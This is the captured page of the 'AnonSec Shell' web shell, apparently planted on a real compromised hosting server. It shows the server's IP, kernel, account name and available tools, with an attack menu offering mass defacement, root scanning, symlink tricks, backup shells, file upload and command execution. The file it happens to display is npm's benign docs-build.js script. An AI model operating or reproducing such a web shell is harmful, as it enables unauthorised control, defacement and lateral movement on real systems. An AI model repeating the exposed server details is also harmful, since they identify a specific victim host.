AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 3.15.1.23   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/lib/node_modules/npm/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/lib/node_modules/npm/scripts/docs-build.js
#!/usr/bin/env node

var fs = require('fs')
var marked = require('marked-man')
var npm = require('../lib/npm.js')
var args = process.argv.slice(2)
var src = args[0]
var dest = args[1] || src

fs.readFile(src, 'utf8', function (err, data) {
  if (err) return console.log(err)

  function replacer (match, p1) {
    return 'npm help ' + p1.replace(/npm /, '')
  }

  var result = data.replace(/@VERSION@/g, npm.version)
    .replace(/^---([\s\S]+?)---/g, '')
    .replace(/\[([^\]]+)\]\(\/cli-commands\/([^)]+)\)/g, replacer)
    .replace(/\[([^\]]+)\]\(\/configuring-npm\/([^)]+)\)/g, replacer)
    .replace(/\[([^\]]+)\]\(\/using-npm\/([^)]+)\)/g, replacer)
    .replace(/(# .*)\s+(## (.*))/g, '$1 - $3')
    .trim()

  fs.writeFile(dest, marked(result), 'utf8', function (err) {
    if (err) return console.log(err)
  })
})

Anon7 - 2022
AnonSec Team